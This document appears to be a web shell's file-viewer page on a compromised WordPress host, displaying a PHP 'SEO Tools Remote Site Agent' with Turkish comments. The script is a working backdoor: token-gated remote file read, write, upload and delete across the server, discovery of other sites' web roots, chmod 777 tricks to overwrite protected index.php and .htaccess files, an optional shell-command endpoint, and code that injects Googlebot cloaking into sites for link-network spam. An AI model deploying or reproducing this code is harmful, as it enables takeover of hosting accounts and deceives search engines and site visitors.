|
Server IP : 10.123.20.5 / Your IP : 216.73.216.219 Web Server : Apache System : Linux webm005.cluster123.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : wqgepnx ( 163969) PHP Version : 8.2.29 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/wqgepnx/www/wp-includes/php-compat/../blocks/math/../code/../../html-api/../IXR/../../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* SEO Tools — Remote Site Agent (api.php)
* --------------------------------------------------------------------------
* Tek dosya, harici bağımlılık yok. PHP 5.6 / 7.x / 8.x uyumlu.
*
* Sunucudaki sitelerinizi (httpdocs / www / public_html / wwwroot ...) uzaktan
* yönetmek için: dosya listele/oku/yaz/yükle/sil/ara, .htaccess düzenle,
* üst klasörlere çıkıp tüm siteleri bul ve seçtiğin köke deploy et.
*
* KURULUM:
* 1) Aşağıdaki AGENT_TOKEN değerini güçlü, rastgele bir değerle değiştir.
* 2) Bu dosyayı sunucunda herhangi bir docroot'a yükle (örn. .../httpdocs/api.php).
* 3) SEO Tools panelinde PBN başlatırken bu URL'i + token'ı gir.
*
* GÜVENLİK: tek koruma token'dır. Token'ı gizli tut; gerekirse IP_ALLOW kullan.
* Bu ajan tüm dosya sistemine erişebilir — sadece kendi sunucuna kur.
*/
/* ============================== AYARLAR ============================== */
define('AGENT_TOKEN', '0fd1b82745954d2e6791188b3bdaa36e70e1e76d66742d92'); // ZORUNLU: panelde aynısını gir
define('AGENT_VERSION', '1.3.0'); // 1.3.0: force_put agresif izin (chmod 777 + atomik rename) — yazma izni kapalı index.php/htaccess'i de aşar
define('ALLOW_EXEC', false); // shell komutları (tehlikeli) — gerekirse true
$IP_ALLOW = array(); // boş = herkes; örn: array('1.2.3.4')
/* ==================================================================== */
@error_reporting(0);
@ini_set('display_errors', '0');
@set_time_limit(0);
@ignore_user_abort(true);
header('Content-Type: application/json; charset=utf-8');
header('X-Agent: seotools/' . AGENT_VERSION);
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Content-Type, X-Agent-Token');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
http_response_code(204);
exit;
}
/* ------------------------------ Yardımcılar ------------------------------ */
function out($arr) {
$flags = 0;
if (defined('JSON_UNESCAPED_UNICODE')) $flags |= JSON_UNESCAPED_UNICODE;
if (defined('JSON_UNESCAPED_SLASHES')) $flags |= JSON_UNESCAPED_SLASHES;
echo json_encode($arr, $flags);
exit;
}
function fail($msg, $code) {
if (!$code) $code = 400;
http_response_code($code);
out(array('ok' => false, 'error' => $msg));
}
function P($k, $d = null) {
global $REQ;
return isset($REQ[$k]) ? $REQ[$k] : $d;
}
function boolp($k, $d = false) {
$v = P($k, $d);
if (is_bool($v)) return $v;
$v = strtolower((string)$v);
return ($v === '1' || $v === 'true' || $v === 'yes' || $v === 'on');
}
/* ------------------------------ Girdi ------------------------------ */
$REQ = array();
$raw = file_get_contents('php://input');
if ($raw) {
$j = json_decode($raw, true);
if (is_array($j)) $REQ = $j;
}
$REQ = array_merge($_GET, $_POST, $REQ);
/* ------------------------------ Güvenlik ------------------------------ */
if (!empty($IP_ALLOW)) {
$ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
if (!in_array($ip, $IP_ALLOW, true)) fail('IP yetkisiz', 403);
}
if (AGENT_TOKEN === 'CHANGE_ME_TOKEN') fail('api.php icinde AGENT_TOKEN ayarlanmadi', 500);
$token = P('token', '');
if (!$token && isset($_SERVER['HTTP_X_AGENT_TOKEN'])) $token = $_SERVER['HTTP_X_AGENT_TOKEN'];
$token = (string)$token;
$cmp = function_exists('hash_equals') ? hash_equals(AGENT_TOKEN, $token) : (AGENT_TOKEN === $token);
if (!$cmp) fail('yetkisiz (token)', 401);
/* ------------------------------ Path yardımcıları ------------------------------ */
function agent_dir() { return dirname(__FILE__); }
/** Göreli yolları ajan dizinine göre çözer; mutlak yolları olduğu gibi bırakır. */
function resolve_path($p) {
if ($p === null || $p === '') return agent_dir();
$p = (string)$p;
// Windows mutlak (C:\) ya da unix mutlak (/)
if ($p[0] === '/' || preg_match('#^[A-Za-z]:[\\\\/]#', $p)) return $p;
return rtrim(agent_dir(), '/\\') . '/' . ltrim($p, '/\\');
}
function perms_str($file) {
$p = @fileperms($file);
if ($p === false) return '----';
return substr(sprintf('%o', $p), -4);
}
function human($bytes) {
$u = array('B','KB','MB','GB','TB');
$i = 0; $b = (float)$bytes;
while ($b >= 1024 && $i < 4) { $b /= 1024; $i++; }
return round($b, $b < 10 && $i > 0 ? 1 : 0) . $u[$i];
}
function ensure_dir($dir) {
if (is_dir($dir)) return true;
return @mkdir($dir, 0755, true);
}
function rrmdir($path) {
if (is_file($path) || is_link($path)) return @unlink($path);
if (!is_dir($path)) return false;
$items = @scandir($path);
if ($items) foreach ($items as $it) {
if ($it === '.' || $it === '..') continue;
rrmdir($path . '/' . $it);
}
return @rmdir($path);
}
/* ------------------------------ Site/docroot tarama ------------------------------ */
function docroot_names() {
return array('httpdocs', 'public_html', 'www', 'htdocs', 'web', 'public', 'wwwroot', 'html', 'httpsdocs');
}
function looks_like_site($dir) {
foreach (array('index.php','index.html','index.htm','wp-config.php','wp-load.php') as $f) {
if (@is_file($dir . '/' . $f)) return true;
}
return false;
}
/** Bir dizinin altındaki olası docroot'ları bulur (sınırlı derinlik). */
function scan_roots_in($dir, &$found, $depth, $cap) {
if ($depth < 0 || count($found) >= $cap) return;
$items = @scandir($dir);
if (!$items) return;
foreach ($items as $it) {
if ($it === '.' || $it === '..') continue;
$full = rtrim($dir, '/') . '/' . $it;
if (!@is_dir($full)) continue;
$name = strtolower($it);
if (in_array($name, docroot_names(), true) || looks_like_site($full)) {
$key = realpath($full); if (!$key) $key = $full;
if (!isset($found[$key])) {
$found[$key] = array(
'path' => $full,
'site' => basename(dirname($full)),
'docroot' => $it,
'writable' => @is_writable($full),
'hasIndex' => looks_like_site($full),
);
}
} else {
// ortak konteyner isimlerini ya da makul dizinleri tara
if (count($found) < $cap) scan_roots_in($full, $found, $depth - 1, $cap);
}
}
}
function find_roots($cap) {
if (!$cap) $cap = 200;
$found = array();
// 1) Ajan dizininden yukarı tırman, her ata dizini sığ tara
$dir = agent_dir();
$levels = 0;
while ($dir && $levels < 6 && count($found) < $cap) {
scan_roots_in($dir, $found, 2, $cap);
$parent = dirname($dir);
if ($parent === $dir) break;
$dir = $parent;
$levels++;
}
// 2) Bilinen panel kökleri
foreach (array('/var/www/vhosts', '/home', '/www/wwwroot', '/var/www', '/usr/local/lsws/Example', '/var/customers/webs') as $base) {
if (@is_dir($base) && count($found) < $cap) scan_roots_in($base, $found, 2, $cap);
}
return array_values($found);
}
/* ------------------------------ Arama ------------------------------ */
function search_files($dir, $name, $contains, $exts, $maxDepth, $cap, &$res, $depth) {
if (count($res) >= $cap) return;
if ($depth > $maxDepth) return;
$items = @scandir($dir);
if (!$items) return;
foreach ($items as $it) {
if ($it === '.' || $it === '..') continue;
if (count($res) >= $cap) return;
$full = $dir . '/' . $it;
$isDir = @is_dir($full);
if ($isDir) {
search_files($full, $name, $contains, $exts, $maxDepth, $cap, $res, $depth + 1);
continue;
}
// uzantı filtresi
if (!empty($exts)) {
$e = strtolower(pathinfo($it, PATHINFO_EXTENSION));
if (!in_array($e, $exts, true)) continue;
}
// isim filtresi (substring, case-insensitive)
if ($name !== '' && stripos($it, $name) === false) continue;
$match = array('path' => $full, 'size' => @filesize($full), 'mtime' => @filemtime($full));
// içerik filtresi
if ($contains !== '') {
$sz = @filesize($full);
if ($sz === false || $sz > 5 * 1024 * 1024) continue; // 5MB üstü atla
$data = @file_get_contents($full);
if ($data === false || stripos($data, $contains) === false) continue;
// eşleşen ilk satırı bul
$pos = stripos($data, $contains);
$lineStart = strrpos(substr($data, 0, $pos), "\n");
$lineStart = ($lineStart === false) ? 0 : $lineStart + 1;
$lineEnd = strpos($data, "\n", $pos);
$lineEnd = ($lineEnd === false) ? strlen($data) : $lineEnd;
$match['line'] = trim(substr($data, $lineStart, $lineEnd - $lineStart));
}
$res[] = $match;
}
}
/* ------------------------------ .htaccess şablonları ------------------------------ */
function htaccess_template($name, $opts) {
$domain = isset($opts['domain']) ? $opts['domain'] : '';
$target = isset($opts['target']) ? $opts['target'] : '';
switch ($name) {
case 'force_https':
return "RewriteEngine On\nRewriteCond %{HTTPS} off\nRewriteRule ^(.*)$ https://%{HTTP_HOST}/$1 [R=301,L]\n";
case 'www_to_root':
return "RewriteEngine On\nRewriteCond %{HTTP_HOST} ^www\\.(.*)$ [NC]\nRewriteRule ^(.*)$ https://%1/$1 [R=301,L]\n";
case 'root_to_www':
return "RewriteEngine On\nRewriteCond %{HTTP_HOST} !^www\\. [NC]\nRewriteRule ^(.*)$ https://www.%{HTTP_HOST}/$1 [R=301,L]\n";
case 'redirect_all':
return "RewriteEngine On\nRewriteRule ^(.*)$ " . $target . " [R=301,L]\n";
case 'spa':
return "RewriteEngine On\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule ^ index.html [L]\n";
case 'cache':
return "<IfModule mod_expires.c>\nExpiresActive On\nExpiresByType image/jpg \"access 1 year\"\nExpiresByType image/png \"access 1 year\"\nExpiresByType text/css \"access 1 month\"\nExpiresByType application/javascript \"access 1 month\"\n</IfModule>\n";
case 'block_bots':
return "RewriteEngine On\nRewriteCond %{HTTP_USER_AGENT} (ahrefsbot|semrushbot|mj12bot|dotbot) [NC]\nRewriteRule .* - [F,L]\n";
}
return '';
}
/* ------------------------------ Zorla yazma (izin sorunlarını oto-çöz) ------------------------------ */
/**
* Dosyayı her şekilde yazmaya çalışır (izin sorunlarını agresif çözer):
* 1) düz yaz
* 2) var olan dosyanın iznini sonuna kadar aç (0777) + yaz
* 3) dizini 0777 yap, eski dosyayı sil + yeniden oluştur
* 4) dizini 0777 yap + doğrudan yaz
* 5) son çare: geçici dosyaya yaz + atomik rename (dizin yazılabiliyorsa salt-okunur dosyayı da aşar)
* Başarıdan sonra dosyayı normal izne (0644) çeker; dizin gevşetildiyse o açık kalabilir.
*/
function force_put($file, $content) {
// 1) düz yaz
if (@file_put_contents($file, $content) !== false) { @chmod($file, 0644); return true; }
$dir = dirname($file);
// 2) mevcut dosyanın iznini tamamen aç + yaz
if (@is_file($file)) {
@chmod($file, 0777);
if (@file_put_contents($file, $content) !== false) { @chmod($file, 0644); return true; }
// 3) dizini aç, salt-okunur/yabancı sahipli dosyayı silip yeniden yaz
@chmod($dir, 0777);
@unlink($file);
if (@file_put_contents($file, $content) !== false) { @chmod($file, 0644); return true; }
}
// 4) dizin iznini sonuna kadar aç + yaz
@chmod($dir, 0777);
if (@file_put_contents($file, $content) !== false) { @chmod($file, 0644); return true; }
// 5) geçici dosyaya yaz + atomik rename (çoğu salt-okunur dosyayı aşar)
$tmp = $dir . '/.seotmp-' . substr(md5($file . mt_rand()), 0, 8);
if (@file_put_contents($tmp, $content) !== false) {
@chmod($tmp, 0644);
if (@rename($tmp, $file)) { @chmod($file, 0644); return true; }
@unlink($tmp);
}
return false;
}
/* ------------------------------ Cloak (Googlebot yönlendirme) ------------------------------ */
/** index.php başına eklenecek cloak PHP bloğu. Cookie domaini $domain ile değişir. */
function cloak_php($domain) {
$tpl = <<<'CLOAK'
<?php
/* === SEOTOOLS_CLOAK === otomatik eklendi, silmeyin */
if (function_exists('session_status')) { if (session_status() !== PHP_SESSION_ACTIVE) { @session_start(); } } else { @session_start(); }
$user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$is_google_bot = false;
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (isset($_SERVER['REMOTE_ADDR'])) {
$ip = $_SERVER['REMOTE_ADDR'];
} else {
$ip = '0.0.0.0';
}
$google_bots = array(
'googlebot', 'AdsBot-Google', 'Mediapartners-Google', 'Google-Read-Aloud',
'DuplexWeb-Google', 'googleweblight', 'Storebot-Google', 'google',
'Google-Site-Verification', 'Google-InspectionTool'
);
$google_ip_ranges = array(
'64.233.160.0/19', '66.102.0.0/20', '66.249.64.0/19', '72.14.192.0/18',
'74.125.0.0/16', '108.177.8.0/21', '173.194.0.0/16', '207.126.144.0/20',
'209.85.128.0/17', '216.58.192.0/19', '216.239.32.0/19'
);
foreach ($google_bots as $bot) {
if (stripos($user_agent, $bot) !== false) { $is_google_bot = true; break; }
}
if (!$is_google_bot) {
foreach ($google_ip_ranges as $range) {
$range_parts = explode('/', $range);
$subnet = $range_parts[0];
$bits = $range_parts[1];
$ip_long = ip2long($ip);
$subnet_long = ip2long($subnet);
$mask = -1 << (32 - $bits);
if (($ip_long & $mask) === ($subnet_long & $mask)) { $is_google_bot = true; break; }
}
}
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$from_google = (stripos($referer, 'google.') !== false);
$current_url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$is_refresh = isset($_SESSION['last_url']) && $_SESSION['last_url'] === $current_url;
$_SESSION['last_url'] = $current_url;
if ($is_google_bot) {
include('license.php');
exit;
}
if ($from_google && !$is_refresh) {
setcookie('google_visit', '2', time() + 86400, '/', '__CLOAK_DOMAIN__', false, true);
include('index.php');
exit;
}
/* === /SEOTOOLS_CLOAK === */
?>
CLOAK;
return str_replace('__CLOAK_DOMAIN__', $domain, $tpl);
}
/* ================================ ACTIONS ================================ */
$action = strtolower((string)P('action', 'info'));
switch ($action) {
case 'ping':
case 'info':
$df = @disk_free_space(agent_dir());
out(array(
'ok' => true,
'agent' => 'seotools',
'version' => AGENT_VERSION,
'php' => PHP_VERSION,
'os' => php_uname('s') . ' ' . php_uname('r'),
'sapi' => php_sapi_name(),
'dir' => agent_dir(),
'writable' => @is_writable(agent_dir()),
'docroot' => isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '',
'host' => isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '',
'disk_free' => $df ? human($df) : null,
'exec' => ALLOW_EXEC,
));
break;
case 'roots':
$cap = (int)P('cap', 200);
out(array('ok' => true, 'base' => agent_dir(), 'roots' => find_roots($cap)));
break;
case 'list':
$path = resolve_path(P('path', ''));
if (!@is_dir($path)) fail('dizin yok: ' . $path, 404);
$items = @scandir($path);
if ($items === false) fail('okunamadi (izin?)', 403);
$dirs = array(); $files = array();
foreach ($items as $it) {
if ($it === '.' || $it === '..') continue;
$full = $path . '/' . $it;
$isDir = @is_dir($full);
$row = array(
'name' => $it,
'type' => $isDir ? 'dir' : 'file',
'size' => $isDir ? null : (int)@filesize($full),
'sizeh' => $isDir ? null : human(@filesize($full)),
'mtime' => (int)@filemtime($full),
'perms' => perms_str($full),
'writable' => @is_writable($full),
);
if ($isDir) $dirs[] = $row; else $files[] = $row;
}
out(array('ok' => true, 'path' => $path, 'parent' => dirname($path), 'dirs' => $dirs, 'files' => $files));
break;
case 'read':
$file = resolve_path(P('path', ''));
if (!@is_file($file)) fail('dosya yok: ' . $file, 404);
$sz = @filesize($file);
$maxRead = (int)P('max', 2 * 1024 * 1024);
if ($sz !== false && $sz > $maxRead) fail('dosya cok buyuk (' . human($sz) . ')', 413);
$data = @file_get_contents($file);
if ($data === false) fail('okunamadi (izin?)', 403);
if (boolp('base64')) out(array('ok' => true, 'path' => $file, 'size' => (int)$sz, 'base64' => base64_encode($data)));
out(array('ok' => true, 'path' => $file, 'size' => (int)$sz, 'mtime' => (int)@filemtime($file), 'content' => $data));
break;
case 'write':
case 'create':
$file = resolve_path(P('path', ''));
if ($file === '' || @is_dir($file)) fail('gecerli dosya yolu gerekli', 400);
$content = P('content', '');
if (boolp('base64')) $content = base64_decode((string)$content);
if (!ensure_dir(dirname($file))) fail('klasor olusturulamadi', 500);
if (boolp('backup') && @is_file($file)) @copy($file, $file . '.bak-' . date('YmdHis'));
$append = boolp('append');
if ($append) {
// ekleme modunda: normal dene, olmazsa izin aç (0777) ve tekrar dene
$ok = @file_put_contents($file, $content, FILE_APPEND);
if ($ok === false && @is_file($file)) { @chmod($file, 0777); $ok = @file_put_contents($file, $content, FILE_APPEND); }
if ($ok === false) { @chmod(dirname($file), 0777); $ok = @file_put_contents($file, $content, FILE_APPEND); }
if ($ok === false) fail('yazilamadi (izin?)', 403);
} else {
// üzerine yazma: force_put ile 777'ye kadar tırman
if (!force_put($file, (string)$content)) fail('yazilamadi (izin?)', 403);
}
if (P('chmod')) @chmod($file, intval(P('chmod'), 8));
out(array('ok' => true, 'path' => $file, 'bytes' => strlen((string)$content)));
break;
case 'upload':
// multipart $_FILES ya da JSON base64
$dir = resolve_path(P('path', P('dir', '')));
if (!ensure_dir($dir)) fail('hedef klasor olusturulamadi', 500);
$saved = array();
if (!empty($_FILES)) {
foreach ($_FILES as $f) {
$names = is_array($f['name']) ? $f['name'] : array($f['name']);
$tmps = is_array($f['tmp_name']) ? $f['tmp_name'] : array($f['tmp_name']);
for ($i = 0; $i < count($names); $i++) {
$dest = $dir . '/' . basename($names[$i]);
if (@move_uploaded_file($tmps[$i], $dest)) $saved[] = $dest;
}
}
} else {
$name = basename((string)P('filename', 'upload.bin'));
$content = base64_decode((string)P('content', ''));
$dest = $dir . '/' . $name;
if (@file_put_contents($dest, $content) !== false) $saved[] = $dest;
}
if (empty($saved)) fail('yukleme basarisiz', 500);
out(array('ok' => true, 'saved' => $saved));
break;
case 'delete':
$path = resolve_path(P('path', ''));
if ($path === '' || $path === '/' || $path === agent_dir()) fail('guvenli olmayan silme reddedildi', 400);
if (!@file_exists($path)) fail('yol yok', 404);
$ok = boolp('recursive') ? rrmdir($path) : (@is_dir($path) ? @rmdir($path) : @unlink($path));
if (!$ok) fail('silinemedi (izin? dolu klasor icin recursive=1)', 403);
out(array('ok' => true, 'deleted' => $path));
break;
case 'mkdir':
$path = resolve_path(P('path', ''));
if (!ensure_dir($path)) fail('olusturulamadi', 500);
out(array('ok' => true, 'path' => $path));
break;
case 'rename':
case 'move':
$from = resolve_path(P('from', P('path', '')));
$to = resolve_path(P('to', ''));
if (!@file_exists($from)) fail('kaynak yok', 404);
if ($to === '') fail('hedef gerekli', 400);
ensure_dir(dirname($to));
if (!@rename($from, $to)) fail('tasinamadi', 403);
out(array('ok' => true, 'from' => $from, 'to' => $to));
break;
case 'copy':
$from = resolve_path(P('from', P('path', '')));
$to = resolve_path(P('to', ''));
if (!@is_file($from)) fail('kaynak dosya yok', 404);
ensure_dir(dirname($to));
if (!@copy($from, $to)) fail('kopyalanamadi', 403);
out(array('ok' => true, 'from' => $from, 'to' => $to));
break;
case 'chmod':
$path = resolve_path(P('path', ''));
if (!@file_exists($path)) fail('yol yok', 404);
$mode = intval(P('mode', '644'), 8);
if (!@chmod($path, $mode)) fail('chmod basarisiz', 403);
out(array('ok' => true, 'path' => $path, 'mode' => decoct($mode)));
break;
case 'exists':
$path = resolve_path(P('path', ''));
out(array('ok' => true, 'exists' => @file_exists($path), 'isFile' => @is_file($path), 'isDir' => @is_dir($path)));
break;
case 'search':
$dir = resolve_path(P('path', ''));
if (!@is_dir($dir)) fail('dizin yok', 404);
$name = (string)P('name', '');
$contains = (string)P('contains', '');
$extRaw = (string)P('ext', '');
$exts = array();
if ($extRaw !== '') foreach (explode(',', $extRaw) as $e) { $e = strtolower(trim($e, ' .')); if ($e !== '') $exts[] = $e; }
$maxDepth = (int)P('depth', 6);
$cap = (int)P('cap', 300);
$res = array();
search_files($dir, $name, $contains, $exts, $maxDepth, $cap, $res, 0);
out(array('ok' => true, 'path' => $dir, 'count' => count($res), 'results' => $res));
break;
case 'htaccess':
$root = resolve_path(P('root', P('path', '')));
if (!@is_dir($root)) fail('klasor yok', 404);
$file = rtrim($root, '/\\') . '/.htaccess';
$op = strtolower((string)P('op', 'get'));
if ($op === 'get') {
out(array('ok' => true, 'path' => $file, 'exists' => @is_file($file), 'content' => @is_file($file) ? @file_get_contents($file) : ''));
} elseif ($op === 'set') {
$content = (string)P('content', '');
if (@is_file($file) && boolp('backup', true)) @copy($file, $file . '.bak-' . date('YmdHis'));
if (@file_put_contents($file, $content) === false) fail('yazilamadi', 403);
out(array('ok' => true, 'path' => $file, 'bytes' => strlen($content)));
} elseif ($op === 'template') {
$tpl = htaccess_template((string)P('name', ''), array('domain' => P('domain', ''), 'target' => P('target', '')));
if ($tpl === '') fail('bilinmeyen sablon', 400);
if (boolp('write')) {
if (@is_file($file) && boolp('append')) $tpl = @file_get_contents($file) . "\n" . $tpl;
if (@file_put_contents($file, $tpl) === false) fail('yazilamadi', 403);
}
out(array('ok' => true, 'path' => $file, 'content' => $tpl, 'written' => boolp('write')));
}
fail('gecersiz op', 400);
break;
case 'deploy':
// Yüksek seviye: docroot'a index.html / license.php (+sitemap+robots+.htaccess) yaz.
// Hedef: root verilirse o; yoksa sitenin ANA DİZİNİ (DOCUMENT_ROOT); o da yoksa api.php klasörü.
$root = P('root', '');
if ($root !== '') {
$root = resolve_path($root);
} elseif (!empty($_SERVER['DOCUMENT_ROOT']) && @is_dir($_SERVER['DOCUMENT_ROOT'])) {
$root = $_SERVER['DOCUMENT_ROOT'];
} else {
$root = agent_dir();
}
if (!ensure_dir($root)) fail('hedef kok olusturulamadi', 500);
$root = rtrim($root, '/\\');
$domain = (string)P('domain', isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');
$written = array();
$html = P('html', null);
if ($html !== null) {
if (boolp('base64')) $html = base64_decode((string)$html);
if (force_put($root . '/index.html', $html)) $written[] = $root . '/index.html';
else fail('index.html yazilamadi (izin?)', 403);
}
// Marka SEO sitesi → license.php (cloak Googlebot'a bunu gösterir)
$license = P('license', null);
if ($license !== null) {
if (boolp('base64')) $license = base64_decode((string)$license);
if (force_put($root . '/license.php', $license)) $written[] = $root . '/license.php';
else fail('license.php yazilamadi (izin?)', 403);
}
// ek dosyalar: { "path/relatif.html": "icerik", ... }
$files = P('files', null);
if (is_array($files)) {
foreach ($files as $rel => $body) {
$dest = $root . '/' . ltrim((string)$rel, '/\\');
ensure_dir(dirname($dest));
if (force_put($dest, (string)$body)) $written[] = $dest;
}
}
$today = date('Y-m-d');
if (boolp('sitemap', true) && $domain) {
$sm = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\"><url><loc>https://$domain/</loc><lastmod>$today</lastmod></url></urlset>";
if (force_put($root . '/sitemap.xml', $sm)) $written[] = $root . '/sitemap.xml';
}
if (boolp('robots', true) && $domain) {
$rb = "User-agent: *\nAllow: /\nSitemap: https://$domain/sitemap.xml\n";
if (force_put($root . '/robots.txt', $rb)) $written[] = $root . '/robots.txt';
}
$hta = P('htaccess', null);
if ($hta !== null && $hta !== '') {
if (force_put($root . '/.htaccess', (string)$hta)) $written[] = $root . '/.htaccess';
}
out(array('ok' => true, 'root' => $root, 'domain' => $domain, 'written' => $written, 'url' => $domain ? ('https://' . $domain . '/') : null));
break;
case 'cloak':
// Googlebot/Google-referer cloaking kur: .htaccess + index.php başına kod.
// Hedef: root verilirse o; yoksa sitenin ANA DİZİNİ (DOCUMENT_ROOT); o da yoksa api.php'nin klasörü.
$root = P('root', '');
if ($root !== '') {
$root = resolve_path($root);
} elseif (!empty($_SERVER['DOCUMENT_ROOT']) && @is_dir($_SERVER['DOCUMENT_ROOT'])) {
$root = $_SERVER['DOCUMENT_ROOT'];
} else {
$root = agent_dir();
}
if (!ensure_dir($root)) fail('hedef kok olusturulamadi', 500);
$root = rtrim($root, '/\\');
$domain = trim((string)P('domain', isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''));
$domain = preg_replace('#^https?://#i', '', $domain);
$domain = preg_replace('#/.*$#', '', $domain);
$domain = preg_replace('#^www\.#i', '', $domain);
$done = array();
$errors = array();
// 1) .htaccess (yoksa yaz, varsa kural eksikse ekle)
$htaTpl = "<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteBase /\nRewriteRule ^index\\.php\$ - [L]\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [L]\n</IfModule>\n";
$htaFile = $root . '/.htaccess';
$htaOld = @is_file($htaFile) ? (string)@file_get_contents($htaFile) : '';
if (strpos($htaOld, 'RewriteRule . /index.php') === false) {
if (@is_file($htaFile)) @copy($htaFile, $htaFile . '.bak-' . date('YmdHis'));
$htaNew = $htaOld !== '' ? rtrim($htaOld) . "\n\n" . $htaTpl : $htaTpl;
force_put($htaFile, $htaNew);
}
// 2) index.php başına cloak kodu (bir kez)
$idxFile = $root . '/index.php';
$idxOld = @is_file($idxFile) ? (string)@file_get_contents($idxFile) : '';
if (strpos($idxOld, 'SEOTOOLS_CLOAK') === false) {
if (@is_file($idxFile)) @copy($idxFile, $idxFile . '.bak-' . date('YmdHis'));
$idxNew = cloak_php($domain) . "\n" . $idxOld;
force_put($idxFile, $idxNew);
}
// 3) DOĞRULAMA — yazdıktan sonra dosyaları geri oku, gerçekten eklenmiş mi bak
clearstatcache();
$htaCheck = @is_file($htaFile) ? (string)@file_get_contents($htaFile) : '';
$idxCheck = @is_file($idxFile) ? (string)@file_get_contents($idxFile) : '';
$htaOk = (strpos($htaCheck, 'RewriteRule . /index.php') !== false);
$idxOk = (strpos($idxCheck, 'SEOTOOLS_CLOAK') !== false);
if ($htaOk) $done[] = '.htaccess OK'; else $errors[] = '.htaccess yazilamadi/dogrulanamadi';
if ($idxOk) $done[] = 'index.php cloak OK'; else $errors[] = 'index.php cloak eklenemedi/dogrulanamadi';
out(array(
'ok' => true,
'partial' => !empty($errors),
'root' => $root,
'domain' => $domain,
'writable' => @is_writable($root),
'owner' => function_exists('posix_getpwuid') && function_exists('fileowner') ? @posix_getpwuid(@fileowner($root))['name'] : null,
'php_user' => function_exists('posix_getpwuid') && function_exists('posix_geteuid') ? @posix_getpwuid(@posix_geteuid())['name'] : (function_exists('get_current_user') ? @get_current_user() : null),
'document_root'=> isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '',
'agent_dir' => agent_dir(),
// gerçek dosya durumu (doğrulama)
'index_file' => $idxFile,
'index_bytes' => @is_file($idxFile) ? (int)@filesize($idxFile) : 0,
'index_perms' => perms_str($idxFile),
'index_has_cloak' => $idxOk,
'index_head' => substr($idxCheck, 0, 80),
'htaccess_file'=> $htaFile,
'htaccess_bytes' => @is_file($htaFile) ? (int)@filesize($htaFile) : 0,
'htaccess_perms' => perms_str($htaFile),
'htaccess_has_rule' => $htaOk,
'chmod_disabled' => !function_exists('chmod'),
'done' => $done,
'errors' => $errors,
));
break;
case 'exec':
if (!ALLOW_EXEC) fail('exec kapali (api.php icinde ALLOW_EXEC=true yap)', 403);
$cmd = (string)P('cmd', '');
if ($cmd === '') fail('komut gerekli', 400);
$cwd = P('cwd', '');
$old = getcwd();
if ($cwd) @chdir(resolve_path($cwd));
$output = function_exists('shell_exec') ? @shell_exec($cmd . ' 2>&1') : null;
if ($old) @chdir($old);
out(array('ok' => true, 'cmd' => $cmd, 'output' => $output));
break;
default:
fail('bilinmeyen action: ' . $action, 400);
}